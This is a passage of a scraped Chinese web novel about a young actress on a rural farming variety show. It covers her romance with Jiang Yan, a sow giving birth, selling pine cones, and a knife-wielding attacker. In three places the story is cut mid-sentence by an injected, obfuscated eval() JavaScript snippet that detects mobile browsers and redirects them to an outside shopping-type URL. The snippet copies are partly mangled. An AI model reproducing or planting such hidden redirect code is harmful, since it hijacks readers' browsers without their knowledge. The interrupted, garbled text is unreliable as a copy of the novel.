低头看一下他的两腿,发现原来自己的手离他的某个位置只有一寸的距离。 “不好意思。”她收回手,神色尴尬。 “嗯。”男人应声,手放在膝盖上。 两人安静没几分钟,程三好刚想扭头说什么,就又听到了上菜人的吆喝声。 “让一让,让一让!” 她只能再度急忙往江砚方向偏身,结果这一次端上来的菜有点多,时间持续得有点长,加上她的平衡点没找好,身体不受控制地往江砚的怀里倒。 于是她只能反应迅速地用手找一个支撑物,才免于灾难的发生。 等到上菜的人一离开,她就立马收回手,迅速坐直。 抓马的事件一桩接一桩,平静如女生这会儿也产生了想逃离此地的想法。 菜已经上得差不多了,她拾起筷子,就着前面的一盘香辣小龙虾夹了一个丢进嘴里,结果没咬两口,就听旁边的男人用不咸不淡的口音问道:“手疼吗?” “咳咳咳。”程三好被呛到。 江砚递过一盒饮料。 女生抓过来咬着吸管猛喝了几口,才勉强将咳嗽压下去。 “手疼吗?”男人孜孜不倦。 也不知是呛到还是辣的,女生脸颊有点红。 余光里,江砚在专注地看她。 “有一点。”程三好闭了闭眼睛,破罐子破摔般轻声说了一句。 “嗯,下次我换一条软一点的。” 牙齿错开吸管咬到了舌头,女生不敢说话了,脑子里却全都是刚才混乱画面。 她情急之下,手好像撑到了男人的皮带,大拇指刚好卡进了对方的裤腰里。 那其实只是短短的几秒钟,但她还是察觉到了手指下的腹部肌肉抽动了一下。 60. 你喜欢他吗 “不好意思。” 旁边有人打断了程三好的思路,她闻言扭头:“怎么了?” 只见右手边座位上的一个大嫂怀里坐着一个五六岁的小男孩,桌子上歪倒着一个一次性塑料杯子,里面的汤汁和着米饭全部撒到了母子二人的腿上。 “可以将那一盒纸巾递给我吗?”大嫂神情十分不好意思。 程三好没有丝毫犹豫地拿过面前的一盒纸巾递了过去,甚至在对方抽出时贴心地压着盒子。 大嫂见状,连忙叠声说道:“谢谢,谢谢。” 程三好收回了手,目光却还在他们身上。 这位母亲脸上长满了雀斑,抬头纹鱼尾纹早早地爬上了她的面孔。 她抽出纸巾第一时间是擦儿子裤子上的脏污。 “烫不烫啊?”她低声问。 小男孩乖巧得过分,安安静静的,闻言摇了摇头:“不烫。” “刚才是妈妈的不是,不小心撞到了杯子。” “嗯嗯……我没事,妈妈。”男孩仰头,笑容稚嫩而可爱。 “想什么?”碗里突然被男人夹进来一个南瓜饼。 “没想什么。”程三好将心思收回来。 江砚很高,这样坐着尤为明显。 他轻轻扫了一眼身旁的女生,见她低头吃那个南瓜饼,脸色也挺平静的。 “和经纪公司的合同要到期了吧?”目光看着人,他淡淡开口。 程三好成功被转移了注意力:“还有最后一个月。” 男人嗯了一声,就没有再说话。 反倒是女生有点好奇:“你问这个干什么?” 她口中吃着饼,话语有点含糊不清。 江砚又给她夹了一块鸭肉,嘴角带着若有若无的笑意:“没什么,吃吧,刚才不是说没有吃饱吗?” 程三好不是那种打破砂锅问到底的人,听人这么说也没多想。 他们这张桌子上坐着的人女性居多,由于长时间在土地里劳作,不断地经历风吹日晒,他们较之同龄人来说,要衰老得快一些,皮肤也黄黄的。但是每一个人的眼睛都很亮,精神气也很足,笑起来不会用手遮挡嘴巴,肆意豪爽地露出一口大白牙。 旁边的大嫂这个时候友好地问她:“你是从城里来的吗,小姑娘?一看你们这一身装扮就不像村里的。” “我们是在村口那边录制综艺的……人。” “哦,那就是那什么明星是吧?”大嫂说话喜欢用眼睛看着对方,人很真诚。 “算是吧。”程三好只能这样说道。 “怪不得啊,怪不得。”大嫂笑起来,“小姑娘生的也太标致了吧。” 旁边自来熟的几个阿姨们见他们在交流,也自然地加入了对话。 “是吧?人家小姑娘真的好漂亮哦。” “反正我都有点不敢看人家。” “不用晒太阳就是好啊,那皮肤跟剥了壳的鸡蛋似的哈哈。” “旁边的帅哥也长得很称头哦,小姑娘,那是你的男朋友吗?” “嗯……”程三好正要否认,对方就急忙夸赞道:“真的很般配呀,看着就很养眼!” 阿姨们你一句我一句的乐呵呵地说着,把气氛搞得十分火热。 大嫂见女生脸上有点尴尬,就对她笑着说:“她们并无恶意,你不要往心里去。” 程三好急忙摆手:“没有没有,我有些时候还蛮喜欢这种热热闹闹的情景的。” “是吗?那就好。”大嫂放下心,眼睛却一直盯着人。 程三好想忽略都忽略不了,性子直爽的她直接开口:“怎么了吗?有东西?” 她摸了摸自己的眉毛。 大嫂还是看着人,由衷称赞道:“你的眉眼长得真的很好看啊。” 那完全是一个长辈对小辈投来的喜爱的目光,程三好完全没有感受到一点冒犯之意,她抿嘴:“谢谢大嫂。” 过了一会儿,桌子上的人一个接一个地起身,大家都吃饱喝足准备离开了。 程三好见江砚全程就没有吃几口,问他:“这饭菜不合你的胃口?” 男人抽出一张纸巾动作有条不紊地擦着手,他的眼皮垂着,看不清情绪。 “不是,我来之前应酬吃过东西了。” 程三好的目光不由得停留在那双骨节分明,修长温润的手上,哦了一声。 倏然那手将纸揉成一团,身旁响起男人刻意压低又带着点漫不经心的声音:“你也该知道我为什么而来了。” 程三好将视线收回来,将遮到眼睛的黑发别到了耳后,站起身:“嗯,现在就走吧,待会儿人多了就又得挤。” 江砚的手摩挲着那个纸团,直到它由大变小,由软变硬,才倏地松了手。 纸团掉落,他起身。 第二轮宾客已经在陆陆续续的下桌,外面的人就已经迫不及待地朝里面挤。 这一次程三好走在前面,江砚亦步亦趋。 好几个瞬间,她的背部都撞到了男人的胸膛。 从屋子最里面到达堂屋的门口,这个位置的人是最多的,两拨人直接到了脸贴脸的程度。 程三好正要侧过头,就感觉到身后紧紧贴着他的男人伸出胳膊将她揽在了怀里,但他的手伸到前面并没有放到她的身上,而是形成一个圈,稳稳当当地阻止了一些人粗鲁的推搡。 有几秒钟,人群出现了短暂地不流动。因为人和人之间实在是太过拥挤了。 “那位大嫂说的不错。” 如此令人烦躁的时刻,男人却好像半点未曾受影响,还有闲心说话。 后颈的皮肤感受到对方的呼吸,微微战栗。 过分贴近的身体,能直观体会到背后胸膛出声时的细微震动。 这些当下的感知无比清晰,令人头脑有片刻的晕眩。 程三好捏了捏手指:“什么?” “你的眼睛的确很漂亮,”江砚勾唇,“第一次见面的时候,我就这样想了。” 心里不合时宜地闪过一丝异样,程三好的神经突然有些敏感。 她与江砚是在高一新生入学那一天晚上第一次见面的,当时的她戴着口罩,戴着黑框眼镜,刘海那段时间也没来得及剪,这些“装备”将她遮掩得严严实实,正常人对她第一印象会是这样的吗? 程三好轻微皱了一下眉,不想纠结这些东西。 正好此时人群疏散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005827|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开来,他们得以成功去到了外面。 时近黄昏,太阳已经落山,残霞铺陈在天空,映照山头。 韩老伯家的房檐做得长,檐下挂着一盏盏黄色的镂空灯笼,这会儿逐一亮起来,很是漂亮。 程三好和江砚一直出了院落,来到了较为宽敞的马路边。 路的两侧停着很多车,也有三两成群的人们围在一起聊天。 她刚站定呼吸了一口新鲜空气,就看见了对面马路上坐在一个半人高的石头上的竟然是韩小希他们。 他们自然也看到了女生,冲着她激动的地挥手,程三好开心,露齿笑了笑。 江砚在一旁将他们之间的互动全都看在眼里,嘴角下拉着,眼眸低垂。 “我晚上有一个紧急会议要开。” “嗯,”女生回头看他,“好,那你先回去吧。” 江砚额头青筋一跳:“我不能与你一起欣赏晚上的烟花了。” 听出了他话里隐隐约约的可惜,程三好心里那种怪怪的感觉又来了。 “那我回头用手机录下来发给你。”她想了想说道。 虽然她搞错了重点,但江砚还是情不自禁地扬起了嘴角:“到时候可别忘了。” “我不会。”女生很有信心。 这个话题结束后,两人迟迟没有说话,就这样互相干瞪着眼。 程三好受不了这种氛围,问他:“你不走吗?” “嗯,要走。”江砚捻着手指,目光所至之处皆是女生,“这就走。” 程三好微微仰头与他对视着,抬手在空中小幅度地挥了一下:“那……拜拜。” 男人平时有点凶的眉毛在晦暗的光线下竟衬得他整个眼眶特别深邃,内勾的桃花眼里蓄着点温情。 程三好说完,见他还是丝毫未动,正想问他什么,本就离她不远的男人突然靠近了。 这动作太突然,她连反应的时间都没有。 江砚握住女生肩头的长发,给她捋到了背后,保持着这个姿势低头:“我真的要走了。” 他们的脸贴得很近,男人目光一寸一寸地扫过女生的脸,从她的眉毛到眼睛,从眼睛到鼻子,从鼻子到嘴唇…… 扫到女生的嘴唇时,他顿了一下,紧接着飞快地直起身子。 这一次,他没有再说什么,转身果断地走了。 天色不知何时完全黑了,灯笼的光投射在每一个人脸上。 远处的青山变成了只瞧得见轮廓的黑色山头,而在它的上方,则是像白色到深紫色渐变开来的一片天空,一轮弯月代替太阳从那个位置升起,无数的耀星在寂寂黑夜登上它们的舞台…… 男人一走,不远处一直观察的四人迅速跑到了女生跟前。 韩小希见程三好双手遮住脸,心里像是明白了什么。 “三好,你喜欢他吗?” 她问得如此直白,让肖乐保不知为何感到紧张。 看了一眼许琪赵柯他们二人,皆是和他一样的神情。 女生将手放开,露出的脸蛋白里透红。 她只是盯着地面,没有看任何一个人,一句话也没有说。 所谓无声胜有声,在场的几人都懂了。 61. 小猪崽降生 夜色渐浓,热闹不减。 大家围着庭院形成一个半圆,而中间空地上摆放着几桶烟花,有两个男人点燃引线后,就快速地跑开。 紧接着圆柱形的纸筒里爆发出一个个黄色的光球,速度极快。人们只能看到它们的残影,五颜六色的烟花就绽放在黑夜。 为了观赏体验,韩老伯家的屋外屋内的所有灯光都关闭了,所以烟花短暂地在夜空停留同时,观赏他们的人们脸上也会短暂地被照亮,而后隐入黑暗。 十几箱烟花放完以后,还有人表演起了节目,唱歌的唱歌,跳舞的跳舞,演小品的也把大家逗得哈哈大笑。 程三好在这样的氛围里逡巡着,目光看到某一个人时,就向他走去。 “爷爷,这是我们几个朋友给您的一点心意。”她递出一个红包。 韩老伯急忙摆手,嗔怒道:“你这孩子,都说了来玩儿就可以了,我是不会收的。”老头儿说着把头倔强地扭向一边。 程三好笑笑,瞅准机会一下塞到了韩老伯的衣服兜里,留下一句“我先走啦,爷爷”的话转身就跑了。 因为明天还要早早起来干活,种田吧五个人不敢玩太嗨,踩着月色走在马路上,东一句西一句地聊着。 程三好低头看着手机,正在上网搜索什么,突然弹出一个消息,她点进去。 江砚:【烟花呢】 程三好:【视频mp4.】 刚开完会议,回家的路上。 江邱在前面开车,而江砚姿态懒散地靠着后座椅背。 他看到女生发来的视频,却没有点进去,而是打了几个字。 江砚:【烟花很好看】 程三好:【你根本没看,是吧】后面跟着一个举着拳头,神情愤怒的卡通小人。 江砚:【我看了一百零八遍,不骗人。】 程三好:【呵呵,男人】 后面又发了一个我早已看透你了的表情包。 江邱在前面专心地开着车,突然听到后座传来一声轻笑。 他扫了一眼车内后视镜,看见老板单手握着手机,屏幕的光照亮了他的脸庞,能清晰地看到他的嘴角上扬着,心情很不错的样子。 韩小希见女生抱着个手机,不知道在与谁聊天,脚下的路都没有在意,眼见着她就要撞上旁边的建筑物,急忙拉了她一把。 “三好,注意看路。” “嗯,好。”女生抬头看了她一眼,转身又去盯着手机。 她的状态与平时大相径庭,平日里都是一副兴趣索然的样子,但今天显然要“活泼”一些,结合刚才在韩老伯家发生的一些事情,其实她也能猜到一二。 “三好。”韩小希停下步伐,面色有些凝重。 “嗯,你说。”女生关了手机,认真看向她。 “就是,”韩小希挠了挠脸,“我也是听说的哈,具体事实如何我也不是很清楚,但我觉得有必要像你透露一些什么。” 程三好平静。 “我听肖乐保的爸爸对他说,江砚这个人在圈子里是出了名的不好惹,唯利是图手段狠辣不说,更是冷酷无情,残害亲人,对着自己的二叔也能下得去死手的那种……” “嗯。”程三好应声。 韩小希觉得自己已经把话说得很清楚了,但是看女生反倒是一副压根不在乎的样子,她有一些担心:“和这样的人牵绊在一起,你不怕吗?” 程三好安静地听她说完这些话,嗓音温和:“我现在知道了,谢谢你。但是——” 她看着这个短发的女生笑起来,眼神很认真:“我七年前就认识他了啊。” 这一下子轮到韩小希懵逼了,她万万没有想到两人竟是旧识。 程三好示意她往前走,自己则向她解释:“我们是在同一所中学上的高中,高一那年上学期认识的,还做了同桌。” “天哪……”韩小希心思已经完全跑偏了,满眼的不可置信,“那……那你们——” 她想到一个词:“是属于旧情复燃吗?!” 女生轻笑着摇了摇头,否认道:“不是。” 韩小希稍微走在前面,总是走了没几步就转过身八卦:“那你们是什么关系啊现在?” 程三好却不打算说了,双手搭在好友的肩上,让她看着前面好好走路。 “总之你不要担心,江砚是一个怎么样的人,我心里很清楚。” 韩小希已经彻底不担忧了,一颗好奇的心却熊熊燃烧。她几乎是被女生推着往前走,一双眼睛亮得比月辉还盛:“唉,那你说说你们过去的事情嘛,向我介绍介绍他是怎样的一个人……” “好啦,好啦,回去吧。先回去。”程三好显然不想多说,哄着人往小屋的方向走。 二人交谈的声音渐渐淡去,再到后面就听不清了。 江砚盯着那个考拉头像,见自己发过去的信息对方迟迟没有回,等待的间隙,他放大了头像图片,又仔细看了一遍。 一只毛茸茸的考拉趴在一根树干上,脑袋上顶着一片巨大的绿色叶子,眼睛闭着,神情安详,爪子微微搭在自己圆溜溜的肚子上。 他看着看着,突然手指一动,点击下载保存了下来。 江砚:【回去了?】 江砚:【视频我真看完了,拍的还不错。】 江砚:【睡着了吗?】 江砚:【晚安】 等到程三好重新打开手机,看到这些消息时已是半夜。 小屋的大家都睡着了,她躺在上铺,听着另外两个女生传来呼吸均匀的酣睡声,盯着对话框看了几秒,最终也没有回什么。 第二天早上,气温骤然下降,地面都结着一层薄薄的冰。 小屋没有安装空调,本应该八点才起的几人早早地就被冻醒了,大家穿衣服时被那冰凉的触感刺激得嘶哈一片。 肖乐保穿戴整齐,扭头看着后方的赵柯,见他上身竟然只穿着一件不算厚实的灰色毛衣,脱口而出:“不是,哥们儿,这都要接近零下了,你这么穿会被冻死的。” 赵柯的脸白得过分,他撩了一把额头的碎发头,淡声道:“没事。” 肖乐保就看了一眼角落里的那个打开的行李箱,里面只有几件简简单单的t恤还有牛仔裤,他不知道赵柯的家庭经济怎么样,而现在拍综艺的片酬也得等到秋冬篇拍完以后才会结算,虽然可以提前预支,但赵柯的性格不不会让他开口。 阳光开朗的大男孩肖乐保想到此处毫不犹豫地从大行李箱里拿出了好几件厚实的衣服裤子,抱着转身丢到了赵柯的床上,挑出其中一件黑色的羽绒服,捏着衣服的肩膀位置,想与不想就给赵柯披上。 “你说说你,这是压根没把我当朋友啊。” 赵柯推辞:“不用不用。” 肖乐保自认为十分凶狠地瞪着人:“还拿不拿我当兄弟了!啊?” 男生看着他的表情,忽然情不自禁地侧头笑了一下。 “笑什么?”肖乐保依旧十分暴躁。 赵柯笑完了,正过身吸了吸鼻子:“真的谢谢你。” 对浪漫过敏的肖乐保最怕这种氛围:“行了,拿我当哥们儿就不要常把谢谢挂在嘴边,小心——” 他手在空中示范了一下:“我把你撕成两块……” “好的,弟弟。” 这是赵柯第一次认领了自己是他二哥的这一个身份,肖乐保受不了般单手捂住自己的胸膛,往后退了几步,再抬头时已是十分感动的神情。 “二哥,二哥!” 赵柯笑着配合着戏精的肖乐保演出:“嗯,嗯。” 肖乐保更震惊了:“没想到你竟是这样的二哥!就是嘛,平常不要总一个人孤孤单单地待着,你以为你是忧郁的美男子吗?啊!” 赵柯低头没再拒绝这一份好意,将肖乐保送他的羽绒服穿上拉上拉链,一直拉到顶端领子的那里,说话时下巴会戳到竖起来高高的领子,但是赵柯喜欢这样。 无论穿什么衣服,只要有衣领,他总是会拉到最顶端。 完了,他抬眼才发现对面的肖乐保拿着一个手机对着他在哐哐哐地拍照,他的姿势没变,反倒是对方不是蹲,就是站,不是马步就是倒立。 赵柯由着他去闹了…… “哐当!”男寝的门被人从外面打开。 “小赵,你们母猪生了!”来的人正是韩小希。 赵柯和肖乐保皆是神色一凝,朝着母猪所在的猪圈就跑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037191|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 路上肖乐保焦急地问:“大哥呢?” “她先一步过去了。” “怎么会这么快,不是说还有十天吗?”肖乐保感到疑惑,喘着粗气。 “不知道,反正先过去吧。”韩小希眉头紧皱。 到达目的地后,猪圈的门敞开着,门外边站着脸色煞白的许琪,她看上去完全就是被吓到了。 肖乐见状,靠近她低声:“没关系,你先回小屋,这里我们会看着办。” 许琪摇头,没说话。 肖乐保便不再劝了。 赵柯已经先一步进了猪圈,看清里面的场景,顿时停住了脚步。 程三好就蹲在他的前面一点,背影也未动。而在她的前方,母猪躺在铺着干草的地面上,旁边的角落里有几只裹着黏糊糊的液体、浑身是血的小猪崽。 赵柯咽了一下唾沫:“这是属于早产吗?” 女生半响才说话:“可能是吧,我已经打电话给韩爷爷了,待会儿他会过来。” 母猪的状态看上去很不对,但是它又还在生产,按照常理来说,每只母猪每一次生育小猪崽大概是在七到十二支只,而角落里就有了四只,都已经死了。 大家都傻站着,面对这种小生命不知道要怎么做,完全束手无策。 好在不一会儿,接到程三好电话的韩老伯就来了。 她起身站到旁边腾开位置。 韩老伯不愧经验丰富,扫了一眼就得出了结论:“可能是突然换了一个环境,受激素影响,母猪可能有点应激,就提前生产了,加上夜间温度骤降,它又发起了高烧,难受中可能不自觉地踩死了自己的孩子。” 程三好的嘴唇没有颜色,她捏紧手问:“爷爷,那我们现在能帮它做什么?” “因为母猪它发着烧,又在产崽,所以我们只能先一边给它注射退烧药,一边要人工助产,因为它力气不够。” “好。”程三好边听边应道。 韩老伯说完扭头看向女生,瞧着她的神情,心里一软,安慰她:“娃子,这不是你的错,不要往心里面去啊。” 程三好嗓音里发出一声“嗯”。 韩老伯见状,当即吩咐其他人开始干活,对着赵柯说:“小伙子,你能帮我跑一趟?” “可以。” “行,现在你去我家里,客厅电视柜下有一个箱子,上面写着兽类用药几个字,你去把它给我拿回来。” 赵柯点头,转身就跑。 然后他又扭头对着肖乐保说:“孩子,你去找几个大一点的装粮食的那种麻袋过来,可以吗?” “好的。”肖乐保跑起来。 “那接下来你们两个女生就和我一起配合着给母猪助产。” “可以。”二人同声说道。 许琪刚吐过,这会儿胃里还有隐隐的抽痛感,她脑子里都是那几团黏糊糊的生物,想到此处,她不受控制立马捂住嘴,弓着腰。 程三好准备去小屋里拿手套,经过她身侧的时候,搭着她的腰带着她往回走。 “你在屋里好好休息,不要担心。” “对……不起。” “没关系,很正常的。” 许琪心里好受了一点,只是胃里还很难受。 火炉已经生了火,这会儿客厅里很暖和。 她坐在椅子上,看到程三好给她倒了一杯水递给她后,急匆匆地出门了。 手握着玻璃杯,源源不断地传送来热气。她抿了一口,勉强将再度涌上来的恶心压了下去。 经过一天一夜,母猪一共生了九个小猪崽,烧也成功退下了。 天边露出鱼肚白,韩老伯用手背擦了一下额头的汗,站起身:“好了,接下来你们就不用担心了,快回去好好休息吧。” “辛苦你了,爷爷。”程三好感激。 韩老伯打了一个哈欠:“没事,怕的是你们不懂还要装懂,对不对?” “爷爷说的有道理!”肖乐保举手赞成。 “所以那我先回去了,你们也早点回去睡个觉吧。” “谢谢您!”几人站在一起,对着前面的韩老伯一齐鞠躬。 老头儿踩着晨光,没有回头,随便摆了摆手。 62. 卖松果 “是这样的,如今你们地翻了,母猪也接了过来成功产下了小猪崽,算是进入了农闲时期,所以现在你们可以好好想一想,能做点什么增加收入?”张导抱着一个暖水袋,坐在客厅,与其他几人说道。 大家一时间没有说话,从神情可以看出,的确有在思考。 “我们种的菜可以拿到镇上去摆摊?”肖乐保试探着问。 “对啊!反正我们也吃不完。”韩小希神情激动。 “三好,你怎么看?”她伸手搭在旁边人的肩膀上。 “嗯,可以。”程三好点头,顿了一下才又说道,“前几天我听韩爷爷说,他有去山上的森林里割那种松果,我想起我小时候,外婆也带我去采摘过,基本上是在一块二元每斤,所以这个也许也行。” “那松果长在了松树上,应该不是那么好摘吧?肯定需要爬树。”韩小希摸着下巴。 “嗯,是的,但是也可以制作一个工具。到时候用一根长竹竿将镰刀放到竹竿的顶部位置用铁丝扎紧,这样就可以举着去割松果了。” 韩小希点头:“那我们现在就是两个任务,一是摆摊卖我们自己种的绿色蔬菜,二是割松果去镇上卖。” 肖乐保挠了挠鼻子:“那还等什么?现在就开干吧!”他一拍桌子干劲十足。 他们吃完午饭以后,就拿着工具往山上走去,这一次他们没有走远,就只是去到了自家田地旁边的森林里。 天气越来越冷,雨雾弥漫在天空,不断奔腾变化。 可能是因为村里人都知道这里是他们录制综艺的地方,所以基本没有人来这片山头。 采摘松果的过程进展得还算顺利,短短三个小时就已经收获了满满的三大麻袋,每一袋平均在一百八十斤重,毕竟松果的水分含量极多。 下午五点,五人齐心协力将其搬到了买来的三轮车上,由程三好带着两个男生去到镇上,留下韩小希和许琪看家做好晚饭等他们。 今天不是赶集,所以路上的车辆不是很多,三人平安到达镇上。 他们四处看了看,没看到有收松果的老板。 好在社交达人肖乐保会出手,他走进一家卖副食品的店,一开口,很是自来熟:“哎,老板,有人在吗?” “在的,在的,稍等!”二楼正在吃饭的老板听到人喊,端着一个饭碗,手中还捏着筷子就下了楼。 他边趴饭边对着肖乐保问:“你好,你想买什么?” 肖乐保眼睛四处看,脚来回踱步,迟迟开不了那个口,最终还是挑中一瓶生抽放到了收银台上。 “我买这个,请帮我结账。” 他背着手,眼睛还是四处瞄。 老板将碗放在柜台上,熟练地扫码:“十五元。” 他拿一个塑料袋把那瓶生抽放进去,递给前面那个神情有点怪的男生。 肖乐保接过来提在手中,另一只手打开手机付款,在这个间隙,他像是不在意地问:“话说老板,你知道镇上哪里有收松果的师傅吗? “哦,你们是要卖松果是吗?” “对,对……” “从这儿出去左手边,一直走大概五百米左右,会有一个老板在那儿专门收你们这种。” “谢谢,谢谢老板。”肖乐保伸出手强行拉住收银台后面的老板,呲着大白牙握了握手。 “好的,那我走了哈老板,祝你生意兴隆。” 老板尴尬地笑着,扒了一口饭压压惊。 成功获得消息的肖乐保宛若打了胜仗的勇士一般,走路雄赳赳气昂昂。 不远处就停着他们的三轮车,赵柯瞥见他,问:“你手中提着的是什么?” “吃的~酱油啊~”肖乐保声音拉得老长。 “问清楚了吗?”赵柯面上很正常。 肖乐保两腿交叉着走路,头抬得老高:“也不看看是谁?” “好了,赵柯开车。”一直很安静地女生突然出声。 眼见三轮车真的要开走了,肖乐保才“诶”了一声,急忙快走几步一下坐到了车上。 “不是,我都还没到呢,你们开啥车啊?” “我们已经看到你了,”程三好低头捣鼓手机,一脸平静,“就等于你到了。” 肖乐保受到一万点暴击,撅着嘴不服:“那我没到的话,你们知道老板在哪儿吗?不知道是吧?最终还不是要靠我这个勇士来……” 赵柯听不下去他夹着嗓子说话,忍不住道出了真相:“刚才三……好随便抓个路人就问出来了。” 肖乐保顿觉自己刚才白忙活了,还浪费了十五块钱,转瞬他又安慰自己:“好吧,反正家里面酱油快用完了。” 收松果的老板是一位皮肤有点黑又有点胖的中年男人,他所在的位置正好是一处废弃的木材加工场,面积很宽大,一台巨大的脱粒机器正在高速地运转着。 肖乐保与老板握了握手,神情夸张:“这是现收现脱粒是吧?” “对,对。”老板露出一颗白牙。 “很壮观啊,那一摞一摞的跟小山丘似的,全是脱下来的废渣是吗?” “是啊,别看这个松果又沉又大,但实际上想要吃到它的果实确实不容易的,包括后续的晾晒风干储存整个过程也需要大量的时间成本。” “怪不得松子贵……” 机子运行时声音特别大,在场的大家说话基本上是用嗓子吼着说的。 “那老板,像我们这种新鲜采摘下来的松果可以卖多少块钱一斤?”肖乐保正式进入主题。 “……最近几年这个行业越发衰落了,以前像我这样利用废弃工厂来收松果的老板很多很多,但是如今你看,这整个镇上仅此只有我这一家了,所以我也不诓你们,收你们七毛每斤吧。” 三人愣住了。 肖乐保咽了咽口水,扭头与旁边的赵柯视一眼,都看出了对方眼里的震惊。 “哈哈,”谁料这位黑皮肤老板像是读懂了他们的心理活动,“瞧着你们的表情,想来是外地来的吧,以为我是个黑心老板是吗?在诓你们这些新人?但我也与你们说实话,我做生意就讲究一个直来直往,虽然我的皮肤是黑的,但我的心可不是哈哈……” 老板摘了手套:“去年还能卖一元每斤,但是今年整一个市场里松果的价钱大幅度下降,尤其是这一种野生的。不管来的是你们还是旁人,我的一律收的是七毛每一斤,然后我将这一些脱了外壳的松子再拿出去加工,别人从我这里拿货,拿的是七元每斤……这个过程我要损失的人力物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062705|130752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力机器电费各种成本,净利润算下来,每一斤上也只能赚到两元多一点……” 肖乐保听到这里,收起自己要掉到地上的下巴:“原来是这样啊,唉,如今这个大环境下各行各业的人都不容易,但是大哥你还在坚持,我也挺佩服你的。” 老板拍着男生的肩膀:“不过我今年干完以后就不干了,明年准备进厂打工,虽然人是不自由,而且工作时间又很长,但是可能工资都比我干现在的这个高。” 他语气停顿的一秒里闪过一丝无力:“我女儿今年上初中了,对画画很感兴趣,本来我们家庭经济是不大好的,但是看着女儿的那双眼睛,我怎么也说不出口拒绝二字,所以我打算接下来努力挣钱供她好好读书,支持她画画的梦想。” “完了,”肖乐保反而有一点心里不是滋味,“您这么说,搞得我们都想直接送给你了。” 中年人从始至终面上带着笑,虽然说着糟糕的事,但是语气不丧。 “瞧你这话说的,我不容易,你们也不容易啊。”男人抬起目光扫响其余二人,“所以大家就做好自己该做的事,一切都会慢慢好起来的。” “受教了,受教了。”肖乐保由衷点头。 三人卖完松果后,回去的路上,没一人说话。 察觉到气氛有些僵硬,肖乐保正要活跃起来,突然一股强劲的力道撞上他们的三轮车屁股。 要不是路边有一个围栏,几人就直接会冲进路边的一条黄色的深河里。 程三好和肖乐保基本上牢牢抱着车身,所以倒是没有受什么伤,反倒是赵柯,由于惯性,头狠狠地撞到了车子仪表盘上,几乎是一瞬间,血就立马浸染开来,打湿了他的额前头发。 程三好看清他的伤势,本就不爽的心情一下升至极点。 她紧抿着唇,正要弯腰去拿座椅下面放置的临时医药箱,身后突然传来了一道男声。 “靠你奶奶的,哪个龟孙子开的车!你们不……啊!”对方一顿,紧接着,语气震惊中带着毫不掩饰的兴奋,“是你们?” 程三好手在空中短暂出现停留,然后就像是没听到身后人说话的声音一样,拿出一卷纱布转过身,认真地给赵柯头上缠上,准备先给他止住血。 肩膀突然被人粗鲁地往后一扯。 女生踉跄一步稳住身体,紧接着上前继续着动作。 “不是,我特么在与你说话呢!臭婊子——” “你谁啊!说谁呢!” 对方那句“臭婊子”还没说完就被另一道男声打断。 肖乐保拽住王吉的手硬生生地甩开,说话几乎是靠吼:“少他妈胡乱扯人,有话不能好好说是吧!” 已经具备一个成年男子体格的男生光是站在那儿,就已经有了很大的威慑力。 虽然肖乐保平日里很中二,但无论是在校园还是后来进了娱乐圈,这种场面他可是不怵的。 看人气质很男大,王吉压根没把对方放在眼里,以为只是个农村里那种一家省吃省喝供出来的普通大学生,当下就没了顾忌,上手狠狠地推了对方一下。 “妈的,啥比玩意儿!” 肖乐保也不是吃素的,也对着眼前这个秃头大叔使劲地一推:“没素质的地中海!活该你斑秃!” 63. 恶语伤人,旧梦重演 此话一出,叫王吉的中年大叔被气得甚至有一瞬间说不出话来。 他的眉猛地抽搐一下,面露狠色:“妈的!”下一秒轮着拳头就要砸向肖乐保的脸。 男生下意识伸手格挡,“啊——” 痛叫声却不是从他身上发出来的。 程三好轻轻松松地握住对方的手腕,再度后旋,王吉当即痛得连声骂道:“艹你妈的!臭婊子,放开我……啊——” “疼疼疼疼……先放开我,有话好说,有话好说!”王吉面色发紫,痛得求饶。 程三好不想将事情闹大,当即就像丢一只猪脚一样啪嗒甩开。 然而下一秒,心里不服气的王吉瞬间从腰间掏出一把匕首,类似于那种削苹果的水果刀。 他恶狠狠地用刀尖指着女生,缓缓靠近:“妈的,几年前放跑了你,我就不爽了,要不是看在陈总的面上,我当天一定要弄死你!” “都不要动!”他余光里看见肖乐保腿脚在移动,转过身盯着人警告他,“等我收拾了这娘们儿,待会儿再来解决你这个狗比玩意儿!” 肖乐保紧紧扒着三轮车的车沿,大气不敢喘,眼神频频投向旁边的女生:“……大哥。”他人生中第一次真的急了。 程三好在对方的逼近下,只能被迫往后倒退,直到撞到了驾驶座上的赵柯,知道现在是退无可退了。 